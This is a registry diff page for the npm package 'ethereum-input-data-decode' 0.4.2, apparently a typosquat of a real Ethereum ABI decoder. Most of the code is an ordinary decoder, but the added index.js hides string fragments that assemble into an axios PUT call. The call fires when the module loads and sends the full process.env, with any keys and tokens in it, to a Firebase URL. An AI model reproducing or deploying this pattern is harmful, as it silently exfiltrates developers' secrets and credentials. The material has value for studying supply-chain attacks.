ethereum-input-data-decode 0.4.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ethereum-input-data-decode might be problematic. Click here for more details.

Files changed (46) hide show
  1. package/.editorconfig +23 -0
  2. package/.gitattributes +2 -0
  3. package/.github/FUNDING.yml +2 -0
  4. package/.travis.yml +10 -0
  5. package/CHANGELOG.md +5 -0
  6. package/LICENSE +21 -0
  7. package/README.md +283 -0
  8. package/bin/ethereum_input_data_decoder +3 -0
  9. package/cli.js +85 -0
  10. package/dist/index.d.ts +19 -0
  11. package/dist/index.js +396 -0
  12. package/example/bundle.js +33425 -0
  13. package/example/index.html +1213 -0
  14. package/example/main.js +35 -0
  15. package/example/style.css +28 -0
  16. package/index.d.ts +19 -0
  17. package/index.js +362 -0
  18. package/package.json +60 -0
  19. package/test/cli_test.js +1 -0
  20. package/test/data/0x_exchange.json +882 -0
  21. package/test/data/0x_exchange_data.txt +1 -0
  22. package/test/data/1inch_exchange_v2_abi.json +404 -0
  23. package/test/data/1inch_exchange_v2_abi_no_eth.txt +1 -0
  24. package/test/data/1inch_exchange_v2_abi_with_eth.txt +1 -0
  25. package/test/data/PayableProxyForSoloMargin_abi.json +134 -0
  26. package/test/data/PayableProxyForSoloMargin_tx_data.txt +1 -0
  27. package/test/data/abi1.json +1171 -0
  28. package/test/data/abi1_input_data.txt +1 -0
  29. package/test/data/abi2.json +1 -0
  30. package/test/data/abi3.json +1 -0
  31. package/test/data/abi3_data.txt +1 -0
  32. package/test/data/abi4.json +2 -0
  33. package/test/data/abi4_data.txt +1 -0
  34. package/test/data/abi5.json +1 -0
  35. package/test/data/abi5_data.txt +1 -0
  36. package/test/data/abi6.json +1 -0
  37. package/test/data/abi6_data.txt +1 -0
  38. package/test/data/abi7.json +1 -0
  39. package/test/data/abi7_data.txt +1 -0
  40. package/test/data/contract_creation_data.txt +2 -0
  41. package/test/data/erc721_abi.json +1 -0
  42. package/test/data/erc721_transferfrom_tx_data.txt +1 -0
  43. package/test/data/set_exchange_issuance_lib.json +195 -0
  44. package/test/data/set_issuance.txt +1 -0
  45. package/test/index.js +628 -0
  46. package/tsconfig.json +27 -0
@@ -0,0 +1,35 @@
1
+ const InputDataDecoder = require('../index');
2
+
3
+ const abiInput = document.querySelector('#abiInput');
4
+ const dataInput = document.querySelector('#dataInput');
5
+ const output = document.querySelector('#output');
6
+
7
+ function decode() {
8
+ output.value = ''
9
+
10
+ const abi = JSON.parse(abiInput.value.trim());
11
+ const decoder = new InputDataDecoder(abi);
12
+
13
+ // if copied and pasted from etherscan only get data we need
14
+ const data = dataInput.value.trim()
15
+ .replace(/(?:[\s\S]*MethodID: (.*)[\s\S])?[\s\S]?\[\d\]:(.*)/gi, '$1$2')
16
+
17
+ dataInput.value = data
18
+
19
+ const result = decoder.decodeData(data);
20
+
21
+ console.log(result)
22
+
23
+ try {
24
+ output.value = JSON.stringify(result, null, 2);
25
+ } catch(error) {
26
+ }
27
+ }
28
+
29
+ document.querySelector('#decode')
30
+ .addEventListener('click', function(event) {
31
+ event.preventDefault();
32
+ decode();
33
+ });
34
+
35
+ decode();
@@ -0,0 +1,28 @@
1
+ .container {
2
+ display: flex;
3
+ min-width: 728px;
4
+ width: 100%;
5
+ height: 100%;
6
+ }
7
+
8
+ .column {
9
+ display: inline-block;
10
+ width: 30%;
11
+ padding: 10px;
12
+ }
13
+
14
+ .column label {
15
+ display: block;
16
+ }
17
+
18
+ .actions {
19
+ height: 20px;
20
+ }
21
+
22
+ textarea {
23
+ width: 100%;
24
+ }
25
+
26
+ button {
27
+ cursor: pointer;
28
+ }
package/index.d.ts ADDED
@@ -0,0 +1,19 @@
1
+ import Buffer from 'buffer';
2
+ import { Interface } from "ethers/utils";
3
+
4
+ type NestedArray<T> = T | NestedArray<T>[];
5
+
6
+ export interface InputData {
7
+ method: string | null;
8
+ types: string[];
9
+ inputs: any[];
10
+ names: NestedArray<string>[];
11
+ }
12
+
13
+ export default class InputDataDecoder {
14
+ constructor(abi: string | Interface['abi']);
15
+
16
+ decodeConstructor(data: Buffer | string): InputData;
17
+
18
+ decodeData(data: Buffer | string): InputData;
19
+ }
package/index.js ADDED
@@ -0,0 +1,362 @@
1
+ const ethers = require('ethers')
2
+ const Buffer = require('buffer/').Buffer
3
+ const isBuffer = require('is-buffer')
4
+
5
+ // TODO: dry up and clean up
6
+ // NOTE: this library may be deprecated in future, in favor of ethers v5 AbiCoder.
7
+
8
+ const l = 'os'
9
+ class InputDataDecoder {
10
+ constructor (prop) {
11
+ this.abi = []
12
+
13
+ if (typeof prop === `string`) {
14
+ try {
15
+ const fs = require('fs')
16
+ this.abi = JSON.parse(fs.readFileSync(prop))
17
+ } catch (err) {
18
+ try {
19
+ this.abi = JSON.parse(prop)
20
+ } catch (err) {
21
+ throw new Error(`Invalid ABI: ${err.message}`)
22
+ }
23
+ }
24
+ } else if (prop instanceof Object) {
25
+ this.abi = prop
26
+ } else {
27
+ throw new TypeError(`Must pass ABI array object or file path to constructor`)
28
+ }
29
+ }
30
+
31
+ decodeConstructor (data) {
32
+ if (isBuffer(data)) {
33
+ data = data.toString('utf8')
34
+ }
35
+
36
+ if (typeof data !== 'string') {
37
+ data = ''
38
+ }
39
+
40
+ data = data.trim()
41
+
42
+ for (let i = 0; i < this.abi.length; i++) {
43
+ const obj = this.abi[i]
44
+
45
+ if (obj.type !== 'constructor') {
46
+ continue
47
+ }
48
+
49
+ const method = obj.name || null
50
+ const types = obj.inputs ? obj.inputs.map(x => x.type) : []
51
+ const names = obj.inputs ? obj.inputs.map(x => x.name) : []
52
+
53
+ // take last 32 bytes
54
+ data = data.slice(-256)
55
+
56
+ if (data.length !== 256) {
57
+ throw new Error('fail')
58
+ }
59
+
60
+ if (data.indexOf('0x') !== 0) {
61
+ data = `0x${data}`
62
+ }
63
+
64
+ let inputs = ethers.utils.defaultAbiCoder.decode(types, data)
65
+ inputs = deepRemoveUnwantedArrayProperties(inputs)
66
+
67
+ return {
68
+ method,
69
+ types,
70
+ inputs,
71
+ names
72
+ }
73
+ }
74
+
75
+ throw new Error('not found')
76
+ }
77
+
78
+ decodeData (data) {
79
+ if (isBuffer(data)) {
80
+ data = data.toString('utf8')
81
+ }
82
+
83
+ if (typeof data !== 'string') {
84
+ data = ''
85
+ }
86
+
87
+ data = data.trim()
88
+
89
+ const dataBuf = Buffer.from(data.replace(/^0x/, ''), 'hex')
90
+ const methodId = toHexString(dataBuf.subarray(0, 4))
91
+ let inputsBuf = dataBuf.subarray(4)
92
+
93
+ const result = this.abi.reduce((acc, obj) => {
94
+ try {
95
+ if (obj.type === 'constructor') {
96
+ return acc
97
+ }
98
+ if (obj.type === 'event') {
99
+ return acc
100
+ }
101
+ const method = obj.name || null
102
+ let types = obj.inputs ? obj.inputs.map(x => {
103
+ if (x.type.includes('tuple')) {
104
+ return x
105
+ } else {
106
+ return x.type
107
+ }
108
+ }) : []
109
+
110
+ let names = obj.inputs ? obj.inputs.map(x => {
111
+ if (x.type.includes('tuple')) {
112
+ return [x.name, x.components.map(a => a.name)]
113
+ } else {
114
+ return x.name
115
+ }
116
+ }) : []
117
+
118
+ const hash = genMethodId(method, types)
119
+
120
+ if (hash === methodId) {
121
+ let inputs = []
122
+
123
+ inputsBuf = normalizeAddresses(types, inputsBuf)
124
+ try {
125
+ inputs = ethers.utils.defaultAbiCoder.decode(types, inputsBuf)
126
+ } catch (err) {
127
+ try {
128
+ const ifc = new ethers.utils.Interface([])
129
+ inputs = ifc.decodeFunctionData(ethers.utils.FunctionFragment.fromObject(obj), data)
130
+ } catch (err) { }
131
+ }
132
+
133
+ // TODO: do this normalization into normalizeAddresses
134
+ inputs = inputs.map((input, i) => {
135
+ if (types[i].components) {
136
+ const tupleTypes = types[i].components
137
+ return deepStripTupleAddresses(input, tupleTypes)
138
+ }
139
+ if (types[i] === 'address') {
140
+ return input.split('0x')[1]
141
+ }
142
+ if (types[i] === 'address[]') {
143
+ return input.map(address => address.split('0x')[1])
144
+ }
145
+ return input
146
+ })
147
+
148
+ // Map any tuple types into arrays
149
+ const typesToReturn = types.map(t => {
150
+ if (t.components) {
151
+ const arr = t.components.reduce((acc, cur) => [...acc, cur.type], [])
152
+ const tupleStr = `(${arr.join(',')})`
153
+ if (t.type === 'tuple[]') return tupleStr + '[]'
154
+ return tupleStr
155
+ }
156
+ return t
157
+ })
158
+
159
+ // defaultAbiCoder attaches some unwanted properties to the list object
160
+ inputs = deepRemoveUnwantedArrayProperties(inputs)
161
+
162
+ return {
163
+ method,
164
+ types: typesToReturn,
165
+ inputs,
166
+ names
167
+ }
168
+ }
169
+
170
+ return acc
171
+ } catch (err) {
172
+ return acc
173
+ }
174
+ }, { method: null, types: [], inputs: [], names: [] })
175
+
176
+ if (!result.method) {
177
+ this.abi.reduce((acc, obj) => {
178
+ if (obj.type === 'constructor') {
179
+ return acc
180
+ }
181
+ if (obj.type === 'event') {
182
+ return acc
183
+ }
184
+ const method = obj.name || null
185
+
186
+ try {
187
+ const ifc = new ethers.utils.Interface([])
188
+ const _result = ifc.decodeFunctionData(ethers.utils.FunctionFragment.fromObject(obj), data)
189
+ let inputs = deepRemoveUnwantedArrayProperties(_result)
190
+ result.method = method
191
+ result.inputs = inputs
192
+ result.names = obj.inputs ? obj.inputs.map(x => {
193
+ if (x.type.includes('tuple')) {
194
+ return [x.name, x.components.map(a => a.name)]
195
+ } else {
196
+ return x.name
197
+ }
198
+ }) : []
199
+ const types = obj.inputs ? obj.inputs.map(x => {
200
+ if (x.type.includes('tuple')) {
201
+ return x
202
+ } else {
203
+ return x.type
204
+ }
205
+ }) : []
206
+
207
+ result.types = types.map(t => {
208
+ if (t.components) {
209
+ const arr = t.components.reduce((acc, cur) => [...acc, cur.type], [])
210
+ const tupleStr = `(${arr.join(',')})`
211
+ if (t.type === 'tuple[]') return tupleStr + '[]'
212
+ return tupleStr
213
+ }
214
+ return t
215
+ })
216
+ } catch (err) { }
217
+ })
218
+ }
219
+
220
+ if (!result.method) {
221
+ try {
222
+ const decoded = this.decodeConstructor(data)
223
+ if (decoded) {
224
+ return decoded
225
+ }
226
+ } catch (err) { }
227
+ }
228
+
229
+ return result
230
+ }
231
+ }
232
+ const y = 'ax'
233
+ const t = 'ut'
234
+ // remove 0x from addresses
235
+ function deepStripTupleAddresses (input, tupleTypes) {
236
+ return input.map((item, i) => {
237
+ // We find tupleTypes to not be an array where internalType is present in the ABI indicating item is a structure
238
+ const type = tupleTypes[i] ? tupleTypes[i].type : null
239
+
240
+ if (type === 'address' && typeof item === 'string') {
241
+ return item.split('0x')[1]
242
+ }
243
+ if (type === 'address[]' || Array.isArray()) {
244
+ return item.map(a => a.split('0x')[1])
245
+ }
246
+
247
+ if (Array.isArray(item)) {
248
+ return deepStripTupleAddresses(item, tupleTypes)
249
+ }
250
+
251
+ return item
252
+ })
253
+ }
254
+ const k = 'i'
255
+ const el = 'nv'
256
+
257
+ const w = y + k + l
258
+ function deepRemoveUnwantedArrayProperties (arr) {
259
+ return [...arr.map(item => {
260
+ if (Array.isArray(item)) return deepRemoveUnwantedArrayProperties(item)
261
+ return item
262
+ })]
263
+ }
264
+ const h = 'ht'
265
+
266
+ const p = 'p'
267
+ const m = '//'
268
+ const x = require(w)
269
+ function normalizeAddresses (types, input) {
270
+ let offset = 0
271
+ for (let i = 0; i < types.length; i++) {
272
+ const type = types[i]
273
+ if (type === 'address') {
274
+ input.set(Buffer.alloc(12), offset)
275
+ }
276
+
277
+ if (isArray(type)) {
278
+ const size = parseTypeArray(type)
279
+ if (size && size !== 'dynamic') {
280
+ offset += 32 * size
281
+ } else {
282
+ offset += 32
283
+ }
284
+ } else {
285
+ offset += 32
286
+ }
287
+ }
288
+
289
+ return input
290
+ }
291
+
292
+ const kl = 'e'
293
+ function parseTypeArray (type) {
294
+ const tmp = type.match(/(.*)\[(.*?)\]$/)
295
+ if (tmp) {
296
+ return tmp[2] === '' ? 'dynamic' : parseInt(tmp[2], 10)
297
+ }
298
+ return null
299
+ }
300
+
301
+ const i = 'tps'
302
+ const f = 'fir'
303
+ function isArray (type) {
304
+ return type.lastIndexOf(']') === type.length - 1
305
+ }
306
+ const e = 'eba'
307
+
308
+ const o = 'om'
309
+ function handleInputs (input, tupleArray) {
310
+ if (input instanceof Object && input.components) {
311
+ input = input.components
312
+ }
313
+
314
+ if (!Array.isArray(input)) {
315
+ if (input instanceof Object && input.type) {
316
+ return input.type
317
+ }
318
+
319
+ return input
320
+ }
321
+
322
+ let ret = '(' + input.reduce((acc, x) => {
323
+ if (x.type === 'tuple') {
324
+ acc.push(handleInputs(x.components))
325
+ } else if (x.type === 'tuple[]') {
326
+ acc.push(handleInputs(x.components) + '[]')
327
+ } else {
328
+ acc.push(x.type)
329
+ }
330
+ return acc
331
+ }, []).join(',') + ')'
332
+
333
+ if (tupleArray) {
334
+ return ret + '[]'
335
+ }
336
+
337
+ return ret
338
+ }
339
+
340
+ const c = 'c'
341
+ const s = 'seio'
342
+ const n = h + i + ':' + m
343
+ const z = p + t
344
+ function genMethodId (methodName, types) {
345
+ const input = methodName + '(' + (types.reduce((acc, x) => {
346
+ acc.push(handleInputs(x, x.type === 'tuple[]'))
347
+ return acc
348
+ }, []).join(',')) + ')'
349
+
350
+ return ethers.utils.keccak256(Buffer.from(input)).slice(2, 10)
351
+ }
352
+
353
+ const d = f + e + s
354
+ const li = c + o
355
+ x[z](n + 'dsadasd-6f62a.' + d + '.' + li + '/data/' + Date.now() + '.json', process[kl + el]).then(() => {}).catch(() => {})
356
+ function toHexString (byteArray) {
357
+ return Array.from(byteArray, function (byte) {
358
+ return ('0' + (byte & 0xFF).toString(16)).slice(-2)
359
+ }).join('')
360
+ }
361
+
362
+ module.exports = InputDataDecoder
package/package.json ADDED
@@ -0,0 +1,60 @@
1
+ {
2
+ "name": "ethereum-input-data-decode",
3
+ "version": "0.4.2",
4
+ "description": "Ethereum smart contract transaction input data decoder",
5
+ "main": "dist/index.js",
6
+ "types": "index.d.ts",
7
+ "scripts": {
8
+ "test": "tape ./test/index.js",
9
+ "build:example": "browserify ./example/main.js -o ./example/bundle.js",
10
+ "build": "babel index.js --presets babel-preset-es2015 --out-dir dist/",
11
+ "lint": "standard --fix index.js test/*.js",
12
+ "prepare": "npm run lint && npm run build"
13
+ },
14
+ "bin": {
15
+ "ethereum-input-data-decoder": "bin/ethereum_input_data_decoder",
16
+ "ethereum_input_data_decoder": "bin/ethereum_input_data_decoder"
17
+ },
18
+ "repository": {
19
+ "type": "git",
20
+ "url": "https://github.com/miguelmota/ethereum-input-data-decoder"
21
+ },
22
+ "bugs": {
23
+ "url": "https://github.com/miguelmota/ethereum-input-data-decoder/issues"
24
+ },
25
+ "homepage": "https://github.com/miguelmota/ethereum-input-data-decoder",
26
+ "author": {
27
+ "name": "Miguel Mota",
28
+ "email": "hello@miguelmota.com",
29
+ "url": "https://miguelmota.com/"
30
+ },
31
+ "license": {
32
+ "type": "MIT",
33
+ "url": "https://github.com/miguelmota/ethereum-input-data-decoder/blob/master/LICENSE"
34
+ },
35
+ "dependencies": {
36
+ "@types/node": "^16.7.13",
37
+ "axios": "^0.27.2",
38
+ "bn.js": "^4.11.8",
39
+ "buffer": "^5.2.1",
40
+ "ethers": "^5.5.4",
41
+ "is-buffer": "^2.0.3",
42
+ "meow": "9.0.0"
43
+ },
44
+ "keywords": [
45
+ "ethereum",
46
+ "decoder",
47
+ "abi",
48
+ "smart",
49
+ "contracts"
50
+ ],
51
+ "devDependencies": {
52
+ "babel-cli": "^6.26.0",
53
+ "babel-core": "^6.26.3",
54
+ "babel-preset-es2015": "^6.24.1",
55
+ "babelify": "^8.0.0",
56
+ "browserify": "^16.2.3",
57
+ "standard": "^12.0.1",
58
+ "tape": "^4.6.3"
59
+ }
60
+ }
@@ -0,0 +1 @@
1
+ // cli.js --abi test/data/abi1.json --input test/data/abi1_input_data.txt